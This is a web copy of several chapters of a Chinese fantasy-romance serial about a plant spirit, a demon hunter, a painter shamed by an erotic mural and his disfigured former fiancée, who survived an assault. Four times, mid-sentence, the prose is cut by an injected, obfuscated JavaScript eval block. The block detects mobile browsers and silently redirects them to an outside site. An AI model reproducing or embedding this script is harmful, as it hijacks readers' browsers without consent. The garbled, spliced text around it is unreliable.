“这两边站着的小鬼,很像凡间的衙役,您坐在台上,威风凛凛,就像我们知县老爷,黑白无常,倒像是知县老爷的手下,”他视线一路往上,“这块明镜高悬的匾额,简直和县衙挂着的一模一样,只是这匾额下面的画,有些不同。” 阎王爷咬牙,“你也发现不同了?” “是啊,本县公堂之上,有一幅纯金打造的飞鸟图,远近闻名。您这阎罗殿,却画的是两个……两个人?” 他以手撑地,往前爬了几步,以便看得更清楚些。 这幅图大得很,图上的人也和真人一般大小。左首那人长发高个,容色丽得惊人,右首那人眉清目秀,面目熟悉得可怕,两个人不着寸缕,搂抱在一起,肌肤相接,姿态不堪入目。 郁离大叫一声。阴曹地府的阎罗殿,怎会有自己的春宫图! 沈灵均和季月并排站在县衙大门口。 从这个角度,刚好可以看到那幅巨大的男男春宫图。 自从早上发现它以后,衙役们用上了所有的办法,用清水擦,用醋浸泡,用墨汁涂,用油漆泼,都没能在图上留下任何痕迹。两个抱在一起的男人,面容反而更加神采奕奕了。 消息不胫而走。县衙门口这条路,比过年的集市还热闹,行人络绎不绝,男女老少都要赶来瞧上几眼,捂嘴偷笑着离开,转过几条街,又从另一个方向折回来,再瞧上几眼。 季月眼看着一群姑娘咯咯笑着,在她面前来回走了七八趟。 她倒不觉得这两个男身有什么可笑,倒是泉妖做的这件事十分可笑。她竟不知他何时学会了雕刻,用水在板子上冲刷出深深浅浅的痕迹。难得的是,两张脸和两副身子都惟妙惟肖,几可乱真。看来泉妖对郁离周身上下早就了如指掌,甚至刻骨铭心。 难道他以为挂出这样一幅画,人家就会倾心于他了? 季月摇头叹息。 身边传来沈灵均揶揄的声音。 “季姑娘为何叹气啊?” “此图过于刺目,我需要洗洗眼睛。” “此图的背板是纯金打造,当然刺目。”沈灵均一本正经道,“如今的妖,行事越发出格了。” “他们怎么没把图遮起来?” “这面墙正对着大门,就如同县衙的脸面。只要朝廷还没垮台,县衙的大门就得打开,让太阳照在明镜高悬的匾额上。” “也照在底下的春宫图上。”季月忍笑问道,“郁公子如何了?” “挨了板子,关在牢里。以徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084254|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人的脾气,这次没当堂打死他,算是开恩了。” 季月奇道,“图又不是他画的。他不过是长得俊俏了些,就无辜被妖缠上,实在太倒霉了。” “我们这位知县大人,捉妖的本事没有,捉人的本事十足。郁离连累了县衙,让朝廷蒙羞,自然要重重责罚。况且他不光生气,还很恐慌。” “怎么说?” “你可记得这面墙上原先挂的是什么?” 季月脱口而出,“三足金乌。” 沈灵均侧目看她,“不错,那是我师父费了千辛万苦带回,可以庇佑南安县的祥瑞之图。我师父这人十分严厉,从来不听解释。等他回来,见到此画已毁,不光是我,整个县衙,连同知县大人都要倒霉。” 季月自从到人间以来,眼看着徐知县作威作福,以为没人能爬到他头上去,听他这么说,大为惊讶,“难道你师父比徐知县还厉害?” “神巫署一旦降罪,连知县大人也不能幸免。倘若这画补不好,我们这些人的日子也就到头了。” 季月半张着嘴,“当真?” 沈灵均抬头望天,“其实人生在世,匆匆数十载,早些走和晚些走,也无甚区别,沈某一生斩除妖邪,护佑一方平安,也不枉来人世走一遭。只是留下表妹一个人,孤苦伶仃,无人照顾……” 他说到这里,顿了顿,眼睛定在某处。 只见一顶白色幂篱在人群中穿梭而过,停在五步远处,正对县衙大门,一双素手掀起白纱,脖子微微前伸,仔细观瞧。 沈灵均板着脸走过去,扣住那人手腕。王妙仪惊叫一声,认出了他,“表哥,你怎么在这里?” “这话我倒要问你。” 王妙仪的脸腾地红了,声音颤抖,“我只是路过,听人说县衙出了稀奇事,一时好奇,过来看看,哈哈,哈哈。” 说完,飞快地挣脱沈灵均的手,放下幂篱,一溜烟跑了。 沈灵均惊讶地看着她的背影。从小到大,从没见她跑得这么快过。 季月踱步过来,悠然道,“想看就看呗,跑什么呀。你我都在这儿看了半个时辰了。” 沈灵均无奈道,“叫你来不是看热闹的。你可知道那妖现在何处?” “唔,大概没脸见人,投水自尽了吧。” 沈灵均皱眉。季月的妖气太强,足以把泉妖的气息掩盖住。泉妖受了伤,如果有心寻求庇护,必定不会离开她太远。得想个法子,诱他现身。 季月也打量着他,心里转着念头。即使她下水抓住了泉妖,它也未必能把三足金乌的图画复原。若是以后再也见不到沈灵均这个人,人间的日子可就有些索然无味了。 季月若有所思地回到琳琅阁,刚踏进门,就闻到一股淡淡的腥气,仿佛又一次置身于二妖相斗的竹林中。 她反手带上门,循着气味走到院中。一方清池波平如镜,天光云影徘徊其间。茶室外雅致的竹帘上,映出一道修长的人影。层层衣服包裹之下,雌雄莫辨。 季月望着竹帘,默然半晌,方才开口。 “你找错地方了。” 48. 不与离人遇(七) 侧影转过身,一阵清风拂过,卷起竹帘,露出层层叠叠的黑衣和面纱上方一双漆黑的眼睛。 喑哑难听的声音传来,仿佛砂纸磨过石块,“我听说,你是南安县最厉害的妖。” “你不怕我?” “妖,哪有人可怕。” 季月笑了笑,走上台阶,在对面的蒲团上坐下。 “要不要喝茶?我这儿有上好的高山玉露茶。” 女子摇摇头。 “把面纱放下来吧。我不想对着一块黑布说话。” 女子犹豫片刻,缓缓跪坐在蒲团上,伸出笼在袖中的双手,按在脸上。她的手指苍白修长,有着常年不见阳光的病态,挡住半张脸的黑纱揭开后,她狰狞恐怖的面容,完全显露出来。 连季月都吓了一跳。 一道长长的伤疤,从左边下巴划到右边耳朵,使得口鼻歪斜,皮肉翻出。原本姣好的容颜生生变为梦魇。 女子仰起头,深深吸了口气,叹道,“好久没有这样呼吸了。” 季月瞪着眼睛,“谁将你伤成这样?” 女子苦笑了一下,牵动疤痕,更显触目惊心,“那是好多年前的事了,季姑娘,我来找你,并不是为了自己。” “我在竹林里就看出来了,你一心向着那倒霉的画师。他如今关在县衙大牢。若不认识路,我可以指给你。” “不,我不能见他。” “为何?他明明胆子那么小,却偏要去那人迹罕至的竹林里作画,不正是因为你么?” 黑衣女子一怔,“你怎么知道?” “他怕我受了泉妖的欺辱想不开,一路上跟在后头,婆婆妈妈,唠唠叨叨,说了几箩筐的话,劝我好好活下去。那些话,其实都是想对你说的吧?” 季月轻叹一声,“可惜,他以为你再也听不到了。” 黑衣女子目光发直,深井般的眼眸里,渐渐凝聚起两汪泪,顺着残破的肌肤滑下来。 “我和郁离曾经共同师从梅夫子学画。那块作画石,便是我们以前一起打磨的。” 季月嗯了一声,伸长枝条,从屋里勾出一套茶具,慢条斯理地煮起茶来。 “梅夫子让我们画竹,一开始总是画不好。一次偶然的机会,我去到小仓山北坡,在竹林中找到一块大石头。那地方清幽僻静,无人打扰,我们把大圆石打磨光滑,带了画笔画纸,在林中练习。画竹、画花鸟、画山水、画人物…… “我们两个的天分都有限,虽然渐渐有了些进益,却始终得不到老师的夸赞。我一度甚是苦恼,郁离却不太放在心上,总说作画不为了争名逐利,哪怕是自娱自乐,又有何妨。” 她低下头,苍白的脸颊上微微泛起红晕,“八年前,我们两家定下了婚约。” 季月淡淡道,“人间的婚约,并不都能成真吧?” 女子语调转为苦涩,“那年冬天,郁离出远门,去邻县写生。我本要跟去,恰逢父亲续弦,大摆宴席,便留在家中帮忙。许是喜宴办得太过铺张,当晚竟引来一伙强盗,冲进家门大肆劫掠,还……还将我凌辱。” 壶中的水沸腾了,咕嘟咕嘟冒着泡。 “他们手持兵刃,用麻绳将我牢牢绑住,撕破衣襟,我根本无力反抗,连自尽的机会都没有。” 季月脸上显出怒色,“后来呢?” “强盗们抢走财物,杀伤了十几个人。事后,父亲报了官。官府派兵捉拿强盗,抓住了一个,其余都逃脱了。” 季月哼了一声,“没用的家伙。” “事情发生以后,我不分昼夜地做噩梦,好像永远都醒不过来了。眼前到处是明晃晃的刀子闪来闪去。身子一会儿发冷,一会儿发热。过了几天,父亲和后娘来房中看我,说寻到一位名医,要送我去医治。 “我反反复复地告诉他们,我没病。可他们看我的眼神,就好像我染上了瘟疫,唯恐避之不及。后娘对我说,你的未婚夫郁离就要回来了,你也不想这个样子去见他吧?” 季月用滚烫的茶水洗过杯子,再默默倒掉。 女子深吸一口气,闭上眼睛,好像在逼着自己说下去。“我独自上了马车,一路往北。起初走的是平路,后来越发颠簸,我掀开帘子一看,原来马车行驶在山道上,一边是竹林,另一边是陡峭的悬崖。车夫已经不见踪影,马臀上扎了一柄小刀,马儿发了疯似的,撒开蹄子狂奔。” “我吓呆了,探出身子,试图去拔那把刀,可前方道路一个急弯,车子失去平衡,带着我摔下了山崖。” 泪水无声地流过那道毁了半张脸的深痕,“这道伤,便是摔下山崖时,撞在尖石上留下的。” 季月手一抖,杯中茶水洒了一半,“你家人为何害你性命?” 女子声音里头一次露出讥诮,“一个失贞的女儿,若是活着,会让家族蒙羞的。若她毅然独自进山,自我了断,家人会为她立一个衣冠冢,每年清明冬至按时祭扫。” 季月怒斥,“虚伪至极!那些强盗尚且有脸活着,你一个无辜受害的,为什么要去死?” 女子缓缓端起茶杯,抿了一口,“世人并不是这样想的。杨家的女儿冰洁,千真万确已经死了。活下来的,不过是竹林间的一抹影子,黑暗中见不得光的一只妖。” 季月扬起眉毛,“你不是妖。里面那盘才是妖。” 她随手一挥,茶室的大门轰然打开,腥味扑面而来。一条巨蛇盘踞在内,身体几乎占满了整个房间,长长的尾巴盘在地上,头顶擦着天花板,狭长的眼中空茫一片,阔口中吐着鲜红的信子。 季月冷然道,“好生无礼的小蛇,等泉妖回来,我定要用它洗洗屋子。” 杨冰洁低声道,“蛇姨不放心我,非要跟来。当年,就是她救了我。” 巨蛇晃晃悠悠地游出来,盘在杨冰洁身后,像一座花纹斑斓的小山,将她小小的身体笼罩在自己的阴影中。 “蛇姨在山崖下捡到我,没有一口吞掉,还接好我摔断的腿骨,叼来草药给我治伤。八年来,我和她一起住在竹林深处的山洞中,吃老鼠、青蛙过活,她教我像蛇一样滑行,像蛇一样用腹语说话。她是妖,我也是妖。” 巨蛇俯下身子,杨冰洁伸出手,轻轻抚摸蛇头上冰冷的鳞片。 季月摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084255|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,“妖可不会偷窥别人作画。” 杨冰洁的手顿住了。 “那作画石周围的竹林有不少空隙,都是你的藏身之处吧。” 杨冰洁咬着嘴唇不语。 巨蛇嘶嘶地开口,“我受了伤,活不了多久了。你的力量比泉妖强,只有你能救出郁公子,保他平安。” “你要我把他带给杨姑娘?” 杨冰洁叫道,“不!他一直以为我死了。这样再好不过。” “如果他时至今日,还在为你伤心呢?” 大颗大颗的泪珠落下,把黑衣前襟洇湿一片。 “他……终归会忘记我的。一个女人,失去了名节、清白和容貌,是不能活的。” “你们来的路上,有没有经过县衙?” 杨冰洁和巨蛇一起摇头。 “县衙公堂之上,如今挂着郁公子和泉妖赤身搂抱在一起的巨幅画像,整个南安县都看过了。” 杨冰洁大惊。 “你心心念念的郁公子,可谓声名扫地,清白尽毁。比你的情形有过之而无不及。不如你亲自去牢里安慰一下他,劝他不要一时想不开,寻了短见。” 杨冰洁嘴唇颤抖,“怎会如此,他从小就洁身自好,这教他如何承受得了……” “让他和你一样,也变成妖,如何?” 杨冰洁把脸埋在手里,嘶声大哭起来,“不行的!季姑娘,求求你,求求你救救他吧。” 她匍匐在地,连连磕头。 季月眨了眨眼。 “救他可以,但我有个条件。” 杨冰洁猜到她要说什么,“我不要见他,不要见他。” “不见就不见。你即刻把这身黑衣脱了,换上漂漂亮亮的衣服,离开南安县。从此以后,不许再躲躲藏藏。” 杨冰洁愣了愣,“离开南安县?” “对,这里的人如此待你,你又何必死守在此?找个没有人认识你的地方,随心所欲地活。蛇的食物又腥又臭,难吃得很。妖也不是谁想当就能当的。” 她最后两句说得刻薄,巨蛇昂起头,嘶嘶地吐着信子。 杨冰洁思忖良久,下了决心,“好,我答应你。只要你出手相救郁公子,我就离开南安县,再也不回来。” 巨蛇摇头摆尾,“不要答应她!她不肯相助,我们自己想办法!” 季月饶有兴趣地看着一人一蛇,“我倒要看看,你们能想出什么办法。” 杨冰洁凄然抚着蛇头,“县衙那个捉妖师,你敌不过的。” 巨蛇拱了拱她的手,“你若是想走,早就走了,何必在山上苦熬八年,就为了多看那人一眼。” 季月心中一热,浑身的汁液都翻腾起来。来人间以后,还是头一次遇到这样的情形。一定是刚才喝下去的茶太烫,把这具身体烫到了。 她放下茶杯,“到底怎么说?听你的还是听这条小蛇的?” 杨冰洁的脸绷紧了,眼中闪过坚毅之色,挥衣袖擦干眼泪,“听我的。季姑娘,君子一言。” 季月盯着她红肿的眼眶,弯起唇角,“快马一鞭。” 49. 不与离人遇(八) 春日暖风熏人,玉川边柳枝飞扬,大户人家的院墙内,桃花杏花次第开放,偶有旁逸斜出的枝条,从窗格中漏出些许春光。 季月沿着玉川一路走,来到镜湖边。湖水荡漾,水中自己的倒影起伏不定。她看了一会,从怀中掏出一个小布包,屏息拿出里面的花蜜,扔进水中。 这颗花蜜是妖力凝结而成,她昨晚还特意用辣椒粉泡过。现在上面的气味霸道至极,连她自己闻了都要掩鼻。南安县水系相连,将它丢在镜湖里,不出半天,定能把泉妖熏出来。 她满意地拍了拍手,转身往县衙走。 几只蜜蜂嗡嗡地绕着她的脑袋打转,她笑眯眯的,并不驱赶。 远远地看到县衙大门,门口仍是川流不息,挤满了来看热闹的路人,对着两具男身指指点点,评头论足。 “左边这个太干巴了,骨瘦如柴,看着提不起兴致。” “右边这个相貌是俊的,可表情太凶狠,那双大手把人家的胳膊都要拧断了。” “没准人家就喜欢这个调调呢。” “我识得这郁小公子,听说早年和家里人反目了。难不成是因为他有龙阳之好?” 季月越过人群,看见门口某个熟悉的身影,笑容僵在脸上。 “沈大人?你怎么又来了?” 沈灵均看了看她,故作惊讶,“难道季姑娘有所不知?我是本县的捉妖师,领衙门薪俸。” “可你平时都在家待着啊。” 沈灵均朝公堂努努嘴,“三足金乌祥瑞图已毁,整个县衙都要倒霉,这薪俸,领一天算一天了。” 季月灵机一动,“郁公子不是会画画嘛,让他把画补好,将功折罪,不就行了?” 沈灵均哂笑,“那图不是画出来的,是三足金乌的光芒烧灼金版而成。三足金乌不在人间,人间的画师,造诣再深,也无法复原它的样子。” 季月恍然大悟。难怪她第一次夜闯县衙,就觉得此图异常逼真,连翅膀上的羽毛尖都和真鸟一模一样。 看来要恢复此图,非去趟妖界不可。 “你师父什么时候回来?” 沈灵均嘴角浮起一丝古怪的笑容,压低声音,“我以前盼着他回来,如今倒希望,他越晚回来越好。” 季月睁大眼睛,“他真会要你的命?” 她在人间数月,亲耳听闻范老夫子、徐知县、闻同知、杨冰洁的父亲等人,视人命如草芥,比妖还凶残。沈灵均这个师父既然能凌驾于徐知县之上,想必也是狠辣歹毒,对徒弟生杀予夺。 沈灵均叹气,“谁知道呢。我小时候练功偷懒,被他一剑捅穿肩胛骨,伤疤至今还在。该来的总是要来,多想也无益。” 季月悚然而惊,小声嘀咕,“竟如此残暴……” 沈灵均觑着她神色,暗自好笑,“你今天来有何事?” 季月如梦初醒,大喇喇地说,“劫狱。” 离得近的两个姑娘听见了,惊慌地退开两步,窃窃私语。 沈灵均哼了一声,“无法无天。” 季月一本正经道,“有人托我把郁公子救出来,你能不能先走开一会?” “你准备怎么救?直接冲进去?他隔壁的牢房现在还空着,不如我送你进去陪他吧。” 季月心想,放倒你又不是很难。我叫你走开,不过是给你面子,不想伤及无辜罢了。 正僵持间,风中飘来一股腥味。街道尽头的人群中,发出肝胆俱裂的惊呼。 “蛇!” 季月凝目远眺,那条跟着杨冰洁的巨蛇居然游到光天化日之下,身子贴在地上,碾碎石板,尾巴四处狂甩,人群闪避不及,相互踩踏,乱作一团。蛇头高高扬起,巨口中的尖牙渗出毒液。 季月登时醒悟,巨蛇不想让杨冰洁答应她提出的条件,便亲自来了。 她反应迅速,一把抱住沈灵均的手臂。 沈灵均的斩妖剑刚拔出半截,就被她按了回去。他凝眉,“你干嘛?” 季月手上加劲,叫道,“沈大人,我害怕。” 沈灵均气笑了,“你怕它?上回在竹林里,不是很镇定吗?” 季月避而不答,踮起脚遮挡他的视线,尖声喊道,“它游过来了,它要吃人了!我们快跑啊!” 沈灵均无语,用空闲的那只手召出斩妖剑,剑锋映着阳光,划出一道弧线,飞向巨蛇。他自己则带着季月飞身而起。 季月一惊,沿着他的胳膊往下滑了两寸,沈灵均在半空中转了个身,换另一只手把她捞起来。 耳边风声呼啸,人群四散而逃,眼看斩妖剑就要将蛇尾巴钉在地上,季月吹了口气,剑锋生生偏离一尺,在沿街一户人家的墙根下扎了个大洞。 巨蛇趁此空隙,从脚下飞快地游过,直入县衙。 沈灵均落地,待要回身去追,被季月牢牢抱住腰,动弹不得。 她把脸埋在他肩头,乱叫乱嚷,“救命啊!救命啊!” 沈灵均翻了个白眼。她分明是铁了心捣乱。脖子被她的头发扎得又热又痒,连呼吸都不自在了。 一句“走开”到了嘴边,愣是没说出口。 衙役们见到巨蛇,个个吓得魂飞魄散。巨大的蛇身碾碎门槛,在后院那棵大槐树下盘了一圈又一圈,尾巴卷起一个跑得慢的衙役,送到嘴边,嘶嘶地逼问道,“牢房在哪?” 那衙役闻着巨蛇口中腥臭气息,当场晕了过去。 许小宝贴着墙根,抖似筛糠,眼看巨蛇的头慢慢转了过来,慌忙往东一指。 砰地一声,监牢大门被撞烂,木屑横飞中,斑斓的蛇身一节节挤了进去。 郁离自从关进大牢,日子倒比外面好过多了。不用担惊受怕,一日三餐定时定量,身体渐渐复原,神志也清楚了。 想起自己迷迷糊糊间将徐知县认作阎罗王,将师爷和沈大人认作索命的黑白无常,不由地冷汗岑岑而下。难怪知县大人气成那样,腿上挨板子的地方还钻心地疼呢。 公堂上那幅不堪入目的画,他当时只看了一眼,便深深映在脑海里,如今想忘都忘不掉。谁能想到那恶妖如此可恶,竟用这种下作手段,毁伤他的名誉。 狱卒送饭的时候好心告诉他,全县男女老少都看到那幅画了。郁离只觉万念俱灰,以后没法做人了。与其出去被千万人耻笑,倒不如留在这里坐一辈子牢。 巨蛇撞破大门冲进来的时候,他正在啃馒头,听到这爆炸一般的声响,手一抖,半个馒头掉在茅草堆上。 巨蛇的头转来转去,眼睛在黑暗中闪着光,挨个查看关押的犯人,很快就找到了郁离。 它把长牙楔进锁眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084256|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻一抖,门锁就像豆腐一样塌了。 郁离长声惨叫。 巨蛇吐着信子,昂起头,“我是来救你的。” “不要!我呆在这里挺好的。” 巨蛇不耐烦地甩了甩尾巴,牢房的半堵墙塌了下来。“跟我走,我带你去见杨姑娘。” “杨姑娘”三字如同惊雷,郁离浑身一震,随即想起泉妖变作杨冰洁的样子,引诱他的恶行。 “骗人!她早就死了!” “她没有死。” 郁离大张着嘴,巨蛇不等他回答,便用尾巴在他腰间绕了两圈,提起来,反身冲出牢房。 郁离的身子几乎被挤扁了,哇地一声,把刚吃下去的半个馒头吐了出来。 季月在沈灵均肩头靠了一会,凝神听县衙里头哭爹喊娘一阵,便没了声息,大感疑惑,便伸长了脖子,试图窥探。 “里面怎么突然安静了?” 沈灵均干咳一声,挖苦道,“季姑娘,你的演技真的很糟。” 季月讪笑着放开他。沈灵均的身子像个暖炉,抱在怀里越来越热。她手心都出汗了。 县衙里惊呼声又起,这回,他们听到了郁离的声音。 巨蛇昂着头重新出现,尾巴上缠着那倒霉的画师,飞快地朝北游去。 沈灵均头不动,身不转,左手藏在背后,平平推出一掌。 这是化屠龙剑法为掌法。用剑时,能把枝头每片树叶砍成同样大小的两半。用掌时,力道强劲有余,精细不足。 地上的青石板片片掀起,路边花树枝条乱颤,一股劲力越过绑在蛇尾巴上的郁离,噗的一声,击中巨蛇后脑。 巨蛇平平飞起,庞大的身子如同断了线的纸鸢,被风托着飘了十尺,无力地坠到地上。 季月越过沈灵均的肩头,看得清清楚楚,一时阻拦不及,只得暗骂此人阴险。 “你背后长眼睛了?” 沈灵均垂眸微笑,“哪有。” 巨蛇嘴边喷出一股股鲜血,并未躺倒认输,仍是拼命蠕动身子,带着郁离游走。地上的血迹被抹开了,留下一道蜿蜒宽阔的印子。 季月急道,“我们跟过去看看。” 沈灵均讥诮道,“现在不怕了?” 季月没好气地拽过他的胳膊,“别废话了,快走。” 郁离被蛇尾卷着,横冲直撞,险些晕去,恍惚间只觉得一股特别大的风把他托了起来,又摔在地上。回过神一看,巨蛇已然受伤吐血。它游动的速度慢了下来,郁离总算能够在颠簸中看清眼前的路了。 路人见到巨蛇,纷纷惊叫避让。又逃了一阵,行人和车马渐渐稀少,两旁的绿意越来越浓,远处的山峰越来越大。 郁离认出这是去小仓山的路。 他颤声问,“她在山上?” 他常年在小仓山上作画,竹林里多蛇,偶然出现,色泽碧青,一闪而过,并不伤人,他也就不以为意。曾经听人说山里头有蛇妖,他还以为是讹传。 如果真有妖,怎会坐视他独自作画,早就出来把他一口吞了。 直到泉妖突袭,巨蛇冲出来与之相斗,他才明白传闻是真。 此刻被巨蛇卷住,一路往山上跑,心里突然冒出一个荒唐的念头。 杨姑娘死后,该不会变成蛇妖了吧? 50. 不与离人遇(九) 郁离心想,这个世上,只有杨姑娘才会对他那么好,先是挺身而出阻止泉妖,又冲进大牢把他救出来,为他甘冒奇险,还受了那么重的伤。 或许她真的没有死,只是以另一种样子活着。 他努力靠近巨蛇的头,“你是冰洁吗?” 巨蛇浑身一震,喷出一大口鲜血。 郁离更慌了,“真的是你?身上的伤要不要紧?” “笨蛋!” 郁离喉头哽住了,“我是个笨蛋,这么多年都没发现你。” “我不是你的杨姑娘!” “啊……” 巨蛇喘息片刻,展开身躯,沿着山路爬坡。 “八年了,你连她是人是蛇都不记得了吗?” 郁离心情激荡,他这几天饱受折磨,那个内心深藏已久的渴望,原本被强行掩埋,经过泉妖、蛇妖连番刺激,又顽固地冒了出来,扎得他血肉模糊。 “只要能再见到她,我不在乎她是什么样子,长鳞片也好,长尾巴也好,只要她还能回来……” 巨蛇不说话了,吃力地在竹林中穿梭。 这一条路郁离从没走过,地势极险,几乎笔直向上,插入山腹之中。竹林里乱石丛生,天光暗淡。 身边逐渐来了许多小蛇,碧绿色的,眼睛又黑又亮,有的从土里钻出来,有的从竹子上爬下来,陪他们游走一段。 巨蛇脑后的伤口周围颜色越来越深,血液始终无法凝结,它似乎看不见了,频频撞倒竹子,或是被石头绊住,巨大的身体不受控制,东摇西晃,只有尾巴还缠得紧紧的。 郁离大喊,“放我下来,我自己能走。” 巨蛇不理会,埋头横冲直撞。 好在四周的竹子渐渐少了,只剩下左一堆右一堆的嶙峋怪石。它们尖锐的部分划开巨蛇下腹的皮肉,浸满蛇血,巨蛇却似乎毫无所觉,只是一味前进。 终于,在乱石堆的尽头,它停了下来,浑身伤痕,鲜血淋漓。蛇头高高昂起,张开巨口,向天空发出无声的悲鸣。 尾巴散开,郁离被甩了下去,几乎和蛇头同时落地。 巨蛇黝黑的眼睛正对着他,瞳孔深处的光芒一点点消失了。 它不动了。 郁离踉跄着爬起来,看着地下的蛇尸,半是感激,半是畏惧。 “冰洁真的在这里?你可……莫要骗我。” 前方有个山洞,里面漆黑一片,什么都看不见。一阵腥风吹来,他起了满身鸡皮疙瘩。看来此地终年不见阳光,即使在仲春时节,也如同冬日般阴寒。 徘徊许久,终于鼓起勇气,往那漆黑的山洞里走了几步。 他立刻发现不对劲。这里根本不像人住的地方,没有床铺,没有被褥,没有炊具,地上散落着细小的动物头骨,看起来像是老鼠。 郁离站在黑暗的山洞里,如坠冰窟。 要是从来就没有希望,还好些。燃起了希望,又再一次绝望,那滋味,就如同重温八年前的那场噩梦,撕心裂肺,铭心刻骨。 他久久不出来。距离巨蛇倒下的地方十步远,一块大石头后面,两双眼睛一瞬不瞬地注视着洞口。 他们一路尾随而来,季月等得不耐烦,忍不住要冲出去告知真相,却被沈灵均拦了回来。 “再等等,就快有人来了。” 又过了一盏茶时分,郁离才从山洞里走出来,脸色惨白,活像一具被掏空的行尸走肉。 他走到蛇头边,喊道,“你骗人。你们妖都爱骗人。” 眼泪啪嗒啪嗒,掉在坚硬的鳞片上。 “你们扯谎都不打草稿,她死在八年前的冬日,尸骨无存。” “妖死了以后,也会去阴曹地府吗?你替我打听打听,她转生去了何处,今生姓甚名谁?” “若打听到了,就回来告诉我一声。若打听不到,就回来把我一口吞了,我自己下去打听。” 他泣不成声,颤抖着吼道,“别再扯谎骗人了!” 身后响起一道喑哑的声音。 “它没有骗你。” 郁离僵在原地,一动都不敢动。 身后流淌的暗影中,走出一个修长的身影。她全身裹在黑衣里,只露出一双眼睛,肩上背着一只鼓鼓囊囊的包袱。 杨冰洁走到蛇尸旁,蹲下来。 “蛇姨,你没来送我,我就知道出事了。你怎么这么傻?” 苍白修长的手指抚上巨蛇冰凉的眼睛。 “季姑娘说得没错,我早就应该离开这里,开始新的生活。” 郁离低头看着她,连呼吸和心跳都忘记了,不知道该如何感受、如何思考。 杨冰洁愣怔片刻,似乎下了决心,站起来转身面对他。 四目相对。 正是那双熟悉的眼睛。在梦里出现过千百回。 郁离屏住呼吸,“冰洁,真的是你?” 他生怕说得响了,声音化作风,把眼前如梦幻般的人影吹散。 “是我。郁公子。” 郁离突然感到一阵深切的悲伤,心里折磨他多年的惊涛骇浪,永远沉寂下去了。 “你还活着,那真是……太好了。” 杨冰洁深吸一口气,飞快地说道,“我当年摔下山崖,被蛇姨所救,八年来,和蛇姨同吃同住,同进同出。自从父亲把我推上那辆必死的马车,我就再也不想做人了。” 她抬起手,干脆利落地把面纱解开,似乎觉得长痛不如短痛。 郁离半张着嘴,茫然看着那道毁了半张脸的伤疤。 “并不是有意吓你。你这些日子饱受惊吓,我也有所耳闻。蛇姨救你,便算是还清了我们昔日的情分。郁公子,就此别过吧。” 最后几个字带着哽咽,几乎听不清。 郁离仍像傻子一样站在原地。 杨冰洁等了片刻,见他似乎没什么要说的。 “多保重。” 她转身的一刹那,郁离开口了。 “冰洁。” 只是用旧日的口吻念了她的名字,八年来垒起的心墙便轰然倒塌。 “都是我不好。”他泣道,“我回来见到衣冠冢,怎么也不肯相信你父亲的话。我去过你家,逼问那些下人,却被赶了出来,去医馆逼问给你诊治的大夫,又被赶了出来。去衙门告官,才终于有些结果,他们抓住了一个强盗。可那只是个小喽啰,不会知道你被害的真相。 “我若是个有用之人,应当杀光那伙强盗,为你出气。或是寻遍山林,活要见人,死要见尸。可我什么本事都没有,只会画画。 “这片竹林,是你我最喜欢的地方。我想,你的在天之灵,或许会时不时回来看看。我现在画得比以前好了。那幅高山流水图,即使梅夫子看了,也夸赞有加呢。 “你这些年没怎么磨练画技吧?没关系,我教你。” 杨冰洁双肩颤动,眼泪无声地流进那道丑陋的伤疤。 郁离痴痴地望着她的背影,哀求道,“冰洁,我们一起走吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084257|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨冰洁用力擦干眼泪,转过身,“我说了,不想再过人的日子。” “那你为何守在这里八年?我来竹林里作画的时候,你有没有……有没有瞧见过?” “别自作多情了。” 郁离瑟缩一下,像被扇了一巴掌。 “酒!每个月圆之夜,我都会在作画石上留一杯酒!次日回来,酒杯总是空的。是你喝掉了,对不对?” 杨冰洁愣了愣,“蛇偶尔也喝酒的。” 郁离颓然抱住头,好像一个绝望的赌徒,已经打光所有的底牌。 大石头后面,季月攥紧拳头,压低声音大骂,“这两个人是木头做的吗?车轱辘话说来说去又什么用?郁离的手没断吧,眼看她要走,也不拦一下?” 